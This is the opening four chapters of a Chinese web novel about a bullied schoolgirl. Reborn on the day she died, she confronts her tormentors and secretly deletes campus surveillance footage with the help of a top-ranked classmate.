《都重生了当然要改命啊》
1. 死过一次的人,不怕死
“问你话呢,哑巴了?!”
身体被一只手猛地推搡了一下,凌杏薇视线逐渐明晰,死亡前绝望的意识也终于回笼。
身后是天台呼啸而来的冷风,面前是几张花季少女打扮精致的脸,令她熟悉,也令她厌恶。
清晨寒风拂过面颊后那切骨的寒冷太过生动真实,凌杏薇飞快确认了一个事实——
她重生了!
刚好重生在了自己被校园霸凌去世的那天!
见她不说话,问话的不耐烦了。
“让你写的作业呢?你胆子肥了竟然敢……”
啪的一声脆响出现,凌杏薇直接给了对方一巴掌。
现场除了凌杏薇,所有人都愣住了。
被打的女生捂着脸,一脸不可置信地看着凌杏薇:“你竟然敢打我!来人把她给我……”
啪!
又是一巴掌。
连着的两巴掌直接把她给打懵了,旁边有人反应过来了,但现在的凌杏薇跟她们印象中唯唯诺诺的文静模样截然不同,那人不敢轻易上前,只弱弱喊了喊她。
“倩姐……”
被称作倩姐的女生捂着脸往后退了一步,终于是缓过来了,手指颤颤巍巍指向凌杏薇。
“把她给我按着跪下!”
凌杏薇上前一步,手扬起放下,干脆利落。
啪!啪!又是两声脆响。
凌杏薇甩了甩打孙倩的手,冷眼扫了眼旁边一个想要过来按住她的跟班。
那个跟班被她一个眼神震得当即顿住了脚步,定在了原地。
那是怎样的一个眼神呢?
冰冷怨毒,眼底死寂仿佛没有一丝光亮,看着她的目光就如同看一个死物,好像一眼就能看到尽头。
孙倩这一会儿挨了凌杏薇四个巴掌,也顾不得什么形象就朝她扑过来。
“臭婊子!老娘要弄死你!”
凌杏薇当下就往她肚子上狠狠踹了一脚,孙倩躲闪不及直接摔了个四面朝天。
孙倩疼得直捂肚子,嘴上各种难听的话张口就来,凌杏薇却不给她空闲缓和的时间,回身给了两个上前想要抓住她的女生一人一脚。
其他再想要上前的女生都被迫停在了原地。
因为孙倩已经被她推着怼到了天台边上。
凌杏薇掐着她的后颈往下压,声音犹如修罗在世般阴冷幽然:“看楼下,你觉得这个楼层的高度,高不高?”
教学楼楼高六层,低头往下俯视,高度倒也是很可观的。
极强的心理震撼和来自内心最深处本能的恐惧让孙倩完全顾不上身体上的疼痛,眼泪无意识地往下掉着,身体僵硬着动都不敢动一下。
凌杏薇凑近她耳旁,低声笑了笑,仿佛幽灵在耳畔低语:“这个高度,怕不怕?”
孙倩僵硬的身体猛然一抖,顾不上脸上糊了一脸的眼泪就挣扎着想要抬头,但她的后颈被凌杏薇牢牢把握着,连带着整个脑袋都动弹不得。
孙倩半天不回答还妄想着挣扎,凌杏薇没什么耐性了,将她整个人往下按。
“啊啊啊啊!”一阵嚎叫声传来。
“倩姐!”身后的跟班惊呼着就要过来。
凌杏薇神色很淡:“她们要过来了。”
孙倩几乎是要尖叫出来:“都别过来!都别给我过来!”
身后的几个人互相对视一眼,犹豫着又退了回去。
凌杏薇轻描淡写地说:“回答我的问题,我不想再说第二遍。”
“高!超级高!我,我怕……你今天怎么了……啊啊啊!”
凌杏薇手上使劲又将她往前推了一些,孙倩几乎是半个身体都被按着探了出去。
凌杏薇站在她身后冷眼往楼下看,眼里没有焦距,像是在回忆着什么。
孙倩整个身体都在发抖,一个劲求饶:“放过我吧,我,我以后再也不找你麻烦了……呜呜呜……”
过了很久,孙倩才听见身后传来一句音调很轻的声音,宛如恶魔在低语:“你,怕不怕死。”
孙倩身体猛然一抖。
凌杏薇继续说:“你说,要是从这里掉下去会怎么样呢?”
凌杏薇仿佛自言自语的语气让孙倩瞬间冒了一身冷汗,但孙倩不敢不回答。
在孙倩颤颤巍巍准备回答之前,她身后的跟班喊道:“你要干什么?会死的!凌杏薇你疯了!”
凌杏薇这才分给她一个眼神:“会死?”
她轻轻一笑:“原来你们也知道啊……”
前世她就是从这里掉下去的。
就因为她给她们写的作业漏了一页。
她们恐吓凌杏薇,说下次再出现这样的失误就把她从这里推下去。
登时一种屈辱感涌上心头,凌杏薇宁死不屈想要挣扎反抗。
但最终还是寡不敌众,凌杏薇在这推搡之间掉了下去。
真就一个宁死不屈。
因为死不瞑目心头有执念,头七前她的魂魄一直留在校园里走不了。
在这七天内,她眼睁睁看着孙倩动用家里的势力把校园里所有可能拍到天台的监控全部销毁。
她就这样死得不明不白。
她就这样看着跟她相依为命的母亲日日来学校又哭又闹。
一个明明才只有四十多岁的中年妇女,在得到学校敷衍了事甚至直接将她逐出校园的处理后,一夜之间白了头。
又在凌杏薇死后不到五天,病死街头。
她恨啊,这要她怎能不恨呢!
凌杏薇冷笑一声,低头问已经抖的不成样子的孙倩。
很是轻描淡写:“会死吗?”
“会!会死人的!凌杏薇你放过我吧……以后你的作业我都帮你做好不好?我不会再找你的麻烦了真的!”
她越说哭腔越重:“我发誓,真的……”
凌杏薇眼神渺远,嗓音清冷仿佛在自言自语。
“五脏六腑的震痛会蔓延全身,而且啊,你不会马上死掉,你还能听见周围的声音,很吵很吵地喧哗着,有意识的感受着自己的脑浆迸裂,血液一点点流失,身体变得寒冷,皮肤失去弹性,感官一点点消失……”
身后其他人按耐不住打断她,但语气很明显底气不足:“你这样就不怕被发现吗!你这是,你这是……”
平时不读书的小混混哪里懂什么规则法律,她支支吾吾半天都没憋出个所以然来。
凌杏薇却是听得一笑,霸凌者反问被霸凌者怕不怕?
都是死过一次的人了,她有什么好怕的?
她这样想着,手上动作又无意识向下压了压。
孙倩眼泪鼻涕流了一脸,几乎是要尖叫着嚎啕大哭出来了:“啊啊啊都给我闭嘴!”
凌杏薇居高临下的站着,声音很平静:“孙倩,我不怕死。但是你,可以试试。”
死过一次的人,不怕死。
孙倩听见这话当即就挣扎起来:“我不试我不试!你真的放过我吧!我怕死!你放过
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我,我给你当牛做马都行!”
凌杏薇望着楼下来来往往的学生,没说话。
下课的时间段校园里来来往往的都是学生,这个时候只要有人抬头往上面看一眼,就能看见天台上几乎半个身体都挂在外面的孙倩。
凌杏薇不知道想到了什么,自嘲的笑了笑,声线冰冷令人听之如坠冰窟:“以后见着我要不绕道走,要不就跟我来天台吹吹冷风。”
说着她下了最后的定论:“记住了,我是个不怕死的人,所以我希望你惹我的时候,你也能够不怕。”
这话跟同归于尽有什么区别?
凌杏薇松了手,孙倩重获新生般大口喘着气,其他人纷纷给她让出道来让她离开,看着她时都是一副心有余悸的恐惧表情。
凌杏薇只轻轻笑了笑,抬脚离开,可眸中笑意却不达眼底。
她要去一趟对面的艺术楼。
如果她没记错的话,那是乐器室的位置,刚刚窗口的位置站了一个人。
站在那个方位,能将刚刚天台上发生的所有事情尽收眼底。
踏上艺术楼的楼梯台阶,凌杏薇有一种恍如隔世的感觉。
这一世,她活下来了。
楼梯拐角处,有人与她擦肩而过,书卷翻飞,来人手中一打试卷不小心撒了一地。
凌杏薇一愣,随即很快蹲下身跟他一起将散落一地的试卷捡了起来。
她目光不经意间瞥到试卷上的名字,笔迹工整有力,赫然写着三个字——顾舟眠。
真是……好熟悉的名字呢。
凌杏薇勾了勾唇,双手将手中试卷拢好,递到他面前。
又准确念出他的姓名:“顾舟眠同学,你的试卷。”
顾舟眠垂眼静静看了她一眼,没什么表情地接过她手里的试卷,态度客气疏离:“谢谢。”
凌杏薇对他这个淡然的态度有些意外,但她也没多说什么,继续往楼上乐器室走。
她刻意放慢了脚步,边往上走边带着试探往顾舟眠的方向看。
顾舟眠这个名字在高二没有人不认识。
自从她遭遇校园霸凌后开始刻意控分,让自己的成绩一落千丈,这年级第一的位置就被顾舟眠霸占到现在,无人动摇过。
但就是这样一个看起来冷心冷情,两耳不闻窗外事的学神大佬,竟然在她死后的七天里,日日前往天台不断切换不同位置和姿势往下俯瞰。
没有人知道他在干嘛,但凌杏薇看出来了。
顾舟眠在观测她坠楼的具体位置和坠落时的姿势。
他在调查吗?
凌杏薇不知道。
或许只是一个学霸出于对未知事物的探索与好奇心吧。
她摒弃脑海里的胡思乱想,刚准备移开眼,她探究的目光就对上一双抬眼往上看的眼眸。
那双眼如诱人深入的深渊,看不透又摸不着底,反而让被看的人感到心思和情绪被窥探的心慌。
本来已经在心里将顾舟眠是在调查他死因的猜测否掉了,毕竟顾舟眠看着完全不像是一个会多管闲事的人。
但现在凌杏薇竟然有点不敢确定了。
刚刚来自顾舟眠与她无意间眼神相撞的对视太有内容了。
在探究对方的同时,她发现对方也在探究她。
那一瞬间,凌杏薇竟然罕见感受到了势均力敌的压力。
这一眼究竟是巧合还是刻意呢?
看来这个年级第一比她想象中的更有意思。
2. 何必喜欢不喜欢自己的人
凌杏薇大大方方朝着对方展开一个灿烂笑容,全然没有窥视偷看被抓包的窘迫。
顾舟眠收回视线,头也不回往下走。
两人一上一下,被洒在他们身上的阳光在楼道白墙上照映出两人渐行渐远的身影。
现在正是大课间时间,有二十分钟休息时间,走廊上的人开始多了起来。
凌杏薇在人流中奔跑,阳光正好,洒进房门大敞的乐器室内。
里面空无一人。
她走到窗台边朝对面的教学楼天台望去,果然是一览无余。
凌杏薇又抬手看了眼手表上的时间。
她以最快的速度从对面教学楼跑到艺术楼这边的六楼乐器室,所耗费的时间是六分钟。
在这期间,刚刚在窗口看见全程的那个人完全有充足的时间离开这间房间。
学校音乐生不多,且乐器室的使用都是会有严格登记的。
现在怎么直接就这么让乐器室的大门这样敞开?
对,登记表!
只要查到登记表就知道刚刚那个人是谁了!
“凌杏薇?你怎么会在这?”
门口传来一道声音,凌杏薇循着声音望去,只见一个长相清秀斯文的男生站在门前,正一脸疑惑不解地看着她。
见凌杏薇没立刻回答,他语气有些不耐烦了:“来琴房是要登记的,你以前从来不来这,就算是要找我……”
他说着停顿了一下:“那也别随便进来逛,把东西磕着碰着了怎么办?”
凌杏薇面色镇定:“坏了就赔钱,没登记我就去登记,怎么登记?找谁?方便带个路吗?唐同学。”
最后三个字她念得很重,唐叙朝不由得皱了皱眉。
唐叙朝觉得今天的凌杏薇跟平时好像有几分不一样,狐疑地盯着她看了两秒:“你要去登记?”
凌杏薇却懒得跟他周旋。
她前世暗恋唐叙朝的事闹得人尽皆知,在旁人眼里她就是个茶余饭后谈起的笑话。
而唐叙朝对这一切全部知情,但他却选择了忽视和放任。
这一世,凌杏薇才不会继续干从前那些吃力不讨好的事情了。
她坚定点头:“我要登记。”
唐叙朝只好带着她往外走:“你又不会这些,登记干什么?”
他嘴上这么说,但还是将她带到了管理乐器室老师的办公室门前:“你去吧,我可没空等你,我忙着去练琴呢。”
凌杏薇摆摆手,巴不得他赶紧走。
要不是现在乐器室只有他一个人,她又不知道管理的老师在哪个办公室,凌杏薇才不想跟唐叙朝扯上关系让他带路呢。
登记表是一个人一整张的,凌杏薇没办法知道前面有谁使用过乐器室,只好向管理的老师询问。
“老师,可以问问这个乐器室今天都有谁使用吗?”
管理乐器室的老师扶了扶眼镜看了她一眼:“你是第一次来借乐器室使用吧?”
学校有两个乐器室,一个专门给音乐生使用的,一个班有三把钥匙可供支配,不用登记来往人员名单。
还有一个就是凌杏薇现在登记的这个,非音乐生可以使用的乐器室,因为是非音乐生,来往都需要登记,管控严格一些。
“今天的三把钥匙都给出去了,就你们几个。”
管理老师说着开始翻起了面前几张登记表。
“一个你,一个唐叙朝,一个路茴,还有一个……”
“噢,顾舟眠。”
走出办公室,凌杏薇直奔乐器室。
顾舟眠她刚刚在楼梯间碰到的时候在往楼下走了。
路茴今天她还没遇到,不知道是不是已经走了。
唐叙朝的话……
先套套话。
一曲琴音悠扬婉转,凌杏薇站在门口静静等待他弹完这一曲。
一曲毕,却是唐叙朝先开了口:“进来吧,现在不偷听,反倒是改成光明正大开始听了?”
这话听得凌杏薇眉头一皱,但她很快反应过来唐叙朝这是在说她从前那些举动。
凌杏薇现在可不打算惯着他:“我一直都是光明正大听。”
唐叙朝不由得一噎:“……脸皮倒是厚。”
凌杏薇正准备直奔主题,一听这话哪里受得了。
“我怕打扰你才等你弹完的,既然你不介意,那我以后也没必要给你这个面子了。”
“对了,刚刚我看那个窗户坏了,你张口就来,到时候不会推卸责任推我身上吧?我可事先说明我来之前那窗户就坏了哦。”
唐叙朝被她套路得一愣一愣的,直接就是一个360度大辩解:“窗户坏了?这也赖我?我刚刚可没去那边,不信你问路茴,我刚刚跟她待一块儿呢。”
凌杏薇挑眉:“真的?”
唐叙朝突然对她很不耐烦:“你有毛病啊,我骗你干什么?我可说好了,其他乐器你随便用,现在这钢琴是我要用的,可不会让给你!”
见他神情认真不似作假,凌杏薇歇了口气,转身就走。
“等等。”唐叙朝神色复杂喊住了她,却半天没有下文。
凌杏薇忍不住催促:“怎么了?还有什么事。”
唐叙朝表情不自然道:“作为朋友,我还是要提醒你一句,小心身边的人。”
“身边的人?”凌杏薇挑眉,颇有几分自嘲道,“我身边有什么人?”
前世的她深受校园霸凌毒害,她身边没有朋友,成绩虽然是因为她刻意控分而导致一落千丈的假象,但严重的心理问题也或多或少影响了她的日常生活。
至于他,唐叙朝。
凌杏薇抬眼认真看着眼前的人。
她这一世也不会再喜欢了。
她前世头七过后,灵魂并没有立刻消散。
因为死不瞑目怨气太重,她不肯入轮回,硬生生以灵魂状态在这世上活了21天。
她没有上帝视角,她的灵魂之躯又不能离自己的生源地太远。
所以头七加上灵魂多存活的那21天,她见到的都是往昔这些熟悉的人。
她见证了母亲白发人送黑发人后病死街头。
见证了曾经口口声声支持她追唐叙朝的路茴跟唐叙朝勾搭在一起。
见证了霸凌她导致她死亡的罪魁祸首过得风生水起,出国留学深造。
而她凌杏薇,好不容易卷土重来,重获生命,又何必要去喜欢一个不喜欢自己的人呢?
唐叙朝对她这番说辞显然是有话要说,但却被半路杀出来的程咬金打断了。
“叙朝哥哥,我在楼下时就听见你的琴音,天籁之音也不为过……”
女生话未说完,却在看见凌杏薇时被迫停下了。
来人容貌秀丽清甜,扎着高高的马尾辫,走进乐器室时,一股青春的少女感扑面而来。
是路茴。
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“杏薇也在啊。”路茴很快扬起一抹笑容,亲切地上前来挽住她的手。
“平时也不见你来这乐器室,怎么今天……”
她话说一半,给人留了不少遐想空间。
唐叙朝果然不耐烦了:“别管她了,我们抓紧练琴吧,可别耽误了时间,马上就上课了。”
路茴只微微朝她一笑,面露歉意:“抱歉,杏薇,我们要练琴了。”
她这话语气温柔,却是十足的逐客令。
凌杏薇没说话,只淡淡瞥她一眼,想径直离开,但想想还是不解气。
路茴平时当面一套背后一套,她把路茴当真朋友,路茴却把她当傻子耍。
现在可是今时不同往日了,她必须让路茴自食苦果才行。
“路茴,借一步说话。”
路茴犹豫了一下,还是跟着凌杏薇出了乐器室。
凌杏薇为了演戏演全套,忍着恶心继续跟路茴说着从前的称呼:“是这样的,你上次跟我说要给……给叙朝带的早餐他是不是不喜欢吃啊?”
路茴表情立刻就不对了:“是吗?为什么突然这么说啊?”
“我上次看叙朝把早餐递给你了,他却一口都没吃,是不是不对他胃口啊?”凌杏薇眨巴着眼睛装傻充愣。
路茴肉眼可见慌乱了一瞬,但又很快镇定下来。
“你要不试试看多换换口味?说不定就有一次是他喜欢的呢?”
“杏薇,你按照我的方法,肯定能感动叙朝的,你相信我。”
凌杏薇故作感动:“哎呀,是吗?那真是太谢谢你了,我最信任的就是你了,没有你,我可都不知道怎么办了……”
“那到时候叙朝喜欢吃什么口味你可一定要告诉我啊!”
凌杏薇一副依依不舍离开的姿态,一走到楼梯拐角处就立马变脸。
早餐多换口味?
姐让你每天不同姿态的反胃。
想完对付路茴的方案,凌杏薇边往教学楼走边思考刚刚在乐器室窗口的人。
路茴是从楼下上来的,说明她今天还没来过乐器室。
难不成那人是顾舟眠?
楼梯间那惊鸿一瞥,清冷淡然,凌杏薇飞快在前世记忆里搜索着这个名字。
顾舟眠,高三年级常年稳居榜首的风云人物,为人低调谦逊,是老师眼里品学兼优的好学生。
如果今天窗户边那个人是他,这事就不好办了。
毕竟顾舟眠冷心冷情又刚正不阿是出了名的,他若觉得她的死是冤案可能会查一查,他若目睹她妄图行凶也可能会把她举报出去。
凌杏薇摸不透这个素不相识之人的具体想法。
她只知道这事情若是往老师那边一告,再一查监控,这校园霸凌的名号直接就能给她扣下了。
这仇是报得爽了,把那些人吓得够呛,但她要是因为这个事被学校退学,倒是有些得不偿失了。
她当时确实起了杀心,但她还不至于到同归于尽而把自己逼到绝境的地步。
在事情发酵之前,她还愿意力挽狂澜。
毕竟原本是被霸凌,到最后却要因为反抗报复被扣上霸凌的标签,她才是真的当冤种了。
想到家里的亲人,凌杏薇眼里不禁流露出几分柔情。
这世界上还有值得她牵挂的人,这一世的路,她要好好走。
至于那个目击者,她要想办法查到,以绝后患。
3. 谁家好人在监控室约会啊
上课铃响,原本还逗留在走廊上的人顿时作鸟兽状散开,不过一分钟就立马回归了空荡无人的状态。
凌杏薇不紧不慢走在这空无一人的走廊上,对刚刚响起的铃声恍若未闻。
数学老师看着大摇大摆站在门口喊报告的凌杏薇,脸色不太好。
“上课这么久还在外面逗留迟到!”
班上其他同学纷纷向她投来打探的目光,但不是同情,是戏谑。
很快,凌杏薇就明白这戏谑的缘由。
这位前一秒还板着脸面试完不悦的男教师下一秒就弯了眼,笑眯眯地询问她。
“是不是今天月考成绩下来,知道大家总体考得不理想,害怕杨老师找不到可以杀鸡儆猴的同学所以主动送上门来呀?”
杨鑫是一个面相和蔼,日常爱穿中山装的中年男人。
凌杏薇不太了解他,毕竟她从前的数学课都是在睡眠中度过的。
现在看来,这是个为人幽默风趣的数学老师。
“好了,既然送上门来了,那么请这位小同学回到你的座位,来,拿起你桌面上刚刚下发的数学试卷,评价一下你此次月考的数学成绩。”
凌杏薇对周遭的这些目光视而不见,走回座位上看向自己被各科目试卷铺满的桌面。
那些都是她刚刚发下来的月考试卷,上面无一例外都是各种显眼的红笔印记。
在一片红叉叉中偶尔有几道红勾勾杀出重围。
有,但不多。
这就是她现阶段的成绩,一塌糊涂。
凌杏薇表情都没变一下,从里面翻找出数学试卷,很坦然地评价着自己上次月考的成绩。
“26分,不太好。”
“哦哟哟,真是个令人痛心疾首的消息啊。”
“这样吧,杨老师我大发慈悲,下课请你喝喝茶怎么样?”
凌杏薇大大方方应了:“行啊,老师我给你结茶叶费呗。”
迟到这事就这样嘻嘻闹闹过去了,她翻开书,撑着脑袋明面上听课,实则早已神游太空了。
一朝重生,她还是一个因为没有记彩票号码而穷得叮当响的高中生。
除了回到坠楼前十分钟改变自己前世坠楼的事实,这一世一切照常。
但有些事情自然也将不同寻常。
比如,她不打算继续隐藏实力。
“凌杏薇。”
身侧忽然响起一道弱弱的声音。
凌杏薇眯了眯眼,循着声音望去。
同桌是个很文静的女生,脸圆圆的,戴着副黑框眼镜,看起来很乖的模样。
凌杏薇没跟她说过几句话,不算很熟,只记得她成绩中规中矩,不算特别优秀,但也比自己现在的成绩好很多。
她凑近凌杏薇,小声道:“班主任说让你晚自习前去趟办公室。”
凌杏薇蹙了蹙眉:“因为我之前旷课的事?”
余瑶摇摇头:“我觉得不是。”
余瑶不知道想到什么,多说了几句:“不过你要是怕,可以在去之前问问顾舟眠打探一下口风,刚刚是顾舟眠来教室传的话。”
凌杏薇念出这个对她来说有些口生的名字:“顾舟眠?”
“是啊,不过顾同学看起来有点不近人情,不知道会不会告诉你……”
这些凌杏薇当然知道,两人前不久才在楼道碰过面。
看起来不近人情,但也不像是会多管闲事的人。
当不多管闲事的人开始多管闲事,这个人就脱离了凌杏薇可控的范围。
不管顾舟眠会不会告发她,这件事终究是个麻烦。
她打算干脆一不做二不休直接去监控室把今天早上天台附近的监控录像给删了。
让孙倩和那个目击证人失去核心证据,也就不会倒打一耙反说是她校园霸凌了。
简直是一劳永逸的好办法。
想到这里,凌杏薇又将目光投向了她的同桌。
“额……”凌杏薇正准备喊她,却又忘记了她这位同桌的名字。
瞥了眼对方试卷上工工整整写着的名字,这才继续:“余瑶啊,你知不知道咱学校的总监控室在哪?”
余瑶正准备开口,一道更大的声音中气十足喊出她的名字。
“余瑶!”
余瑶如一只受惊的兔子猛然回头看向讲台,那不存在的兔子耳朵仿佛都在听见这道呼唤时立马竖起来了。
杨鑫笑眯眯将看向余瑶的视线向左移动:“余瑶旁边的……凌杏薇同学!”
“来,这位开小差的同学,把我刚刚讲的内容重复一遍。”
凌杏薇没听课,但她也不想实话实说气这位待人亲和的老师。
她扫了眼黑板上写的题目:“函数f(x)=√(x-1)的定义域,这道题的答案是[1,+∞)”
“喔?答案正确,不过上课不听讲,要批评,等会喝茶给你找套试卷写。”
众人纷纷朝她投来或幸灾乐祸或同情的眼神,余瑶一言难尽的目光混杂在其中,令凌杏薇感到迷茫。
她问:“你也不知道监控室在哪?”
余瑶的眼神终于带了分无奈,但她对上了杨鑫带笑的目光,无法继续讲话。
于是,凌杏薇就这样坐在安静到只听得见笔尖沙沙声的教室里,眼睁睁看着她刚刚准确报出答案的题目被杨鑫擦掉。
原来她刚刚一眼解出的题目在她被点进来之前已经讲过答案了。
一下课凌杏薇就起身离开了教室,在一个学校地图总览栏上找到了监控室的位置——
图书馆对面的医务大楼。
高二年级的晚自习没有老师看班,溜出来很容易,是她下手的好时机。
至于班主任那边,拖一拖明天再说吧。
所有的事情都被她在心里安排得妥当,一路上一直盘算着自己的计划,一时之间失了防范,便也就没注意到身后一路跟踪的一道身影。
路过孙倩所在的教室时,凌杏薇抬眼望向教室内。
以孙倩为首的女生围成一个无形的社交小圈,边缘的女生姿态高高在上跟一个神情怯懦的女生勾肩搭背。
凌杏薇前行的脚步慢了下来。
这间教室里很热闹,喧哗与骚动盖过这教室一角人员的来往交流。
友好姿态覆盖在明面上,但女生抗拒的身体语言都在告诉凌杏薇,她想远离这些人。
她们依然嚣张跋扈。
依然自在从容,自视甚高。
视旁人如玩物,肆意践踏欺辱。
全然不像会悔改的样子。
凌杏薇蹙了蹙眉,停下脚步,径直看向孙倩。
孙倩迎上她的目光,眼里有几分畏惧后怕,翘着二郎腿的姿势登时有些僵硬。
孙倩扫了旁边跟班一眼,跟班心领神会,与边缘跟女生勾肩搭背的人交换了个眼神。
见那个女生被松开回到自己的座位上,凌杏薇松了口气,不太放心地又回头看了眼孙倩那伙人。
对上的,却是她们那一伙人如狼似虎的眼神。
就好像只要凌杏薇放松警惕,她们就会立刻扑上来啃咬撕扯开她的血肉大快朵颐。
残暴猖狂,肆无忌惮。
果然还是,不知悔改啊……
凌杏薇的身影刚消失在这层楼,孙倩就起身猛地踹了一脚桌子。
眼神阴翳怨毒:“想给别人当救世主?救得了自己吗?”
说着,又看向角落瑟瑟发抖的怯懦女生,扬了扬头跟她的跟班示意:“大课间把她带到
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厕所去。”
白天的课程很快就在凌杏薇难得认真听课的时光中度过,夜深人静,各个班级进入安静的晚自习时期。
凌杏薇借着上厕所的功夫,回忆着学校地图的路线顺着通往医务大楼的必经之路走去。
路灯下的长椅上坐着一位垂眸看书的少年,因为低头的动作看不清眉眼,单看身形就给人一种孤傲清隽的感觉。
柠城一中是柠城的重点高中,在学习方面把控较为严苛,高二高三的学生都是强制性留下来进行晚自习的。
这个点所有人都在教学楼,除了偷偷溜出来的自己,凌杏薇没想到也有人出现在校园内。
前面就是一个分岔口,凌杏薇不经常来这边,为了避免走错,她上前询问了一句。
“同学你好,请问一下医务大楼怎么走?”
少年保持着低头看书的动作,嗓音淡然回答:“前面直走左转就是。”
“好的,谢谢。”凌杏薇没有多想,道完谢就往他指路的方向走去。
监控室外走廊上,凌杏薇正在蹑手蹑脚往监控室的方向走。
杂物间旁边……
透过旁边的窗户看进去,里面的保安大叔正在摸鱼听相声。
凌杏薇蹲下来,躲在里面人往外看不见的视角盲区一点点往旁边挪。
她记得每栋楼的楼顶尽头都有个电闸,只要把电闸断了就可以把监控室里的保安支走。
但相应的,拉掉电闸之后,监控就没办法调看了。
她必须在保安拉回电闸回到监控室的间隙里,删掉监控记录并顺利撤离这里。
机会只有一次,她只能成功,不能失败。
但就在她往楼上走的时候,楼道的灯骤然黑了下来。
真停电了?!
探出头往远处看,一片漆黑中,依稀可辨出远处有一栋灯火通明的教学楼。
跳闸了!天助她也!
保安出了监控室去查看情况,凌杏薇迅速摸黑进了监控室。
但黑灯瞎火的,她根本看不清,伸出手一点点盲人摸瞎到处寻找着桌椅的大致位置。
忽然,她后背撞上了一个不明物体。
柔软不失硬度,还泛着温热的体温。
身体猛然一颤,凌杏薇吓得直接失声。
“别慌,是人。”
身后猝不及防传来一个声音,凌杏薇本来就做贼心虚,一听这声音更是吓得一哆嗦。
正在这时,室内灯光大亮,电源恢复了。
凌杏薇转过头去,对上了少年平静的目光。
“顾舟眠?”凌杏薇一字一顿念出他的名字,有些讶异。
“你怎么在这?”
顾舟眠面不改色陈述道:“这位同学,你刚刚不是还向我问路吗?”
原来路灯下那个男生是他!
凌杏薇没空跟他掰扯,转身操作监控设备,飞快搜索着。
这监控记录谁先到先得!
顾舟眠往外看了一眼,忽然上手按了几个按键,凌杏薇刚刚还在搜索的监控记录连同当天所有的全部一起被删除了!
还不等凌杏薇多说什么,一道脚步声由外传来。
顾舟眠一声不吭就拉着凌杏薇往外走。
这自首般的出门方式凌杏薇哪里受得了,赶紧为自己劝说两句。
“顾同学,我知道你为人刚正不阿,但如今我们是一条绳上的蚂蚱,我们现在出去无异于是老鼠掉进猫窝,是去送死……”
一道来自手电筒的光束朝他们两个人照来,凌杏薇绝望地闭了闭眼,放弃了挣扎。
紧接着一道粗犷的男声扬声朝他们两个人吼道。
“二楼那两个,对!别看了就是你们两个!立刻马上给我滚下来!”
4. 你们两个不准谈恋爱
熟悉的经典两件套。
是他们学校的教导主任,徐光明。
一个出场自带手电筒光环和雷霆怒吼的啤酒肚胖男人。
她这次真是出师不利!
两人顶着往返保安疑惑的眼神离开二楼,去往楼下徐光明的视野范围内。
下楼时,凌杏薇扫了眼旁边面色平静得仿佛只是在散步的少年。
不愧是年级第一的学霸,就是有底气,被逮了还这么淡定。
凌杏薇率先走在前面,颇有几分生无可恋:“走吧,接受死亡的审判。”
顾舟眠沉默着走在她身后,还差几个台阶的时候突然加速往凌杏薇身前走,完美的男女体型差恰好将她挡住了。
徐光明看向她们,甚至连脸都没瞧清楚下意识就说:“说吧,你们两个是不是在早恋?”
凌杏薇正一脸莫名其妙,就听见徐光明诧异的下一句话。
“顾舟眠?不是,你怎么……”
凌杏薇刚好从被顾舟眠挡住的位置走到与顾舟眠并排的位置上。
“这位同学,说吧,你大晚上扯着顾舟眠同学究竟有什么意图?”
凌杏薇:“……”
不是怎么还区别对待呢?
凌杏薇满脸无畏,索性摆烂了:“主任,我能有什么意图?孤男寡女的,您想到什么就是什么呗!”
察觉到顾舟眠投过来的探究目光,凌杏薇不遑多让地看了回去。
满脸都写着“看什么看”这样极具攻击性的表情,妄图掰回一局。
徐光明气急:“你!你不要乱造谣别的同学!”
“主任你也知道这是造谣啊,我还以为我这早恋的帽子已经被您给扣死了脱不下来了呢。”凌杏薇微笑道。
徐光明瞪大了眼:“简直是胡搅蛮缠!那你说说看,你刚刚在那鬼鬼祟祟是要干什么!”
这正是凌杏薇不好说实话的地方,她余光瞥到一旁站姿端正的顾舟眠,逐渐扬起一个笑容。
“唉,这您不得问问您最信任的顾同学了嘛!”
她转头看向站在旁边一言不发的顾舟眠:“顾同学,你说说看,我们刚刚在干嘛?”
顾舟眠面色平静,可目光却是直直看向凌杏薇。
凌杏薇皱了皱眉,内心正升腾起一种不祥的预感,下一秒就听见顾舟眠在用他那冷冽的嗓音回答她抛出的问题。
“我们在查监控。”
徐光明一脸疑惑:“查监控?”
他抬手用手电筒照向二楼监控室的位置,那里正是一片黑暗,门也上了锁。
因为面前的人是顾舟眠,他语气也软了些:“监控室根本没有人,查什么监控?”
“我向管理监控室的保安借了钥匙。”顾舟眠手心向上摊开向他展示手里的钥匙。
“这确实是监控室的钥匙。”徐光明信服地点点头。
凌杏薇在旁边看着这一幕,表情很丰富,这是有备而来啊!
“但是!”徐光明话音一转,“现在是什么时间段?就算要查,这个时候你们觉得合适吗?”
“那要什么时候才能查?”顾舟眠神情认真问道。
徐光明一噎。
学校监控室不得准许,一般是不允许学生轻易借阅使用的。
徐光明收起手电筒,随口问道:“你们是查什么东西?还是同时两个人一起?”
“我的试卷不小心洒了一地,被这位……”
感受到顾舟眠向她投来的视线,凌杏薇轻咳一声,字正腔圆道:“凌杏薇。”
顾舟眠继续说:“被这位凌同学在上楼梯时帮忙一起捡起来的。”
“但是我回去发现少了,凌同学也说她那里没有,所以我们就一起来监控室查监控看看是不是被哪位同学给捡走了。”
凌杏薇听见这话挑了挑眉。
没想到像喝舟眠这样的好学生在必要时刻也会撒谎骗人,还编得像模像样的,知道真假参半。
徐光明板着张脸严肃道:“那查到了没有啊?”
顾舟眠冷静摇头:“那一片的监控录像正好丢了,应该是保安前段时间刚好清理掉了吧,之前的录像也找不到。”
“找不到了?!”
一道声音将凌杏薇的心里话说出口了。
徐光明继续道:“还有这种事情?你那个试卷不会是什么竞赛的重要资料吧?那丢了可不得了啦!”
徐光明突然提高这说话的音量,凌杏薇自觉地悄悄往后挪了一点儿。
站在她旁边的顾舟眠察觉到她的小动作,嘴角微不可察地上扬着,但很快又被压了下去。
他说:“主任,就是普通的资料,要是找不到就算了,不是什么大事。”
“不是什么大事就回……不对,有人举报这边有早恋的情侣在私会!”
徐光明狐疑地扫了他们一眼。
“真不是你们?”
两人默契摇头:“不是。”
“大晚上孤男寡女的像什么话!晚自习回教室该干嘛干嘛去!”徐光明摆摆手让他们离开。
凌杏薇见这事被顾舟眠三言两语摆平了,有些意外地挑了挑眉。
顾舟眠也看向她,明明没有笑,可那双眼眸却仿佛隐含笑意。
凌杏薇目不斜视地往前走着,余光却不自然地瞟着旁边神色自若的顾舟眠。
她轻咳一声,不自然地眼神往旁边乱瞟:“不管怎么说,还是谢谢你了。”
“不用谢。”顾舟眠说完直接就拐弯离开了,背影决绝没有丝毫留恋。
凌杏薇双手抱臂,一脸不可置信嘀咕道:“这小子,怎么跟人机似的。”
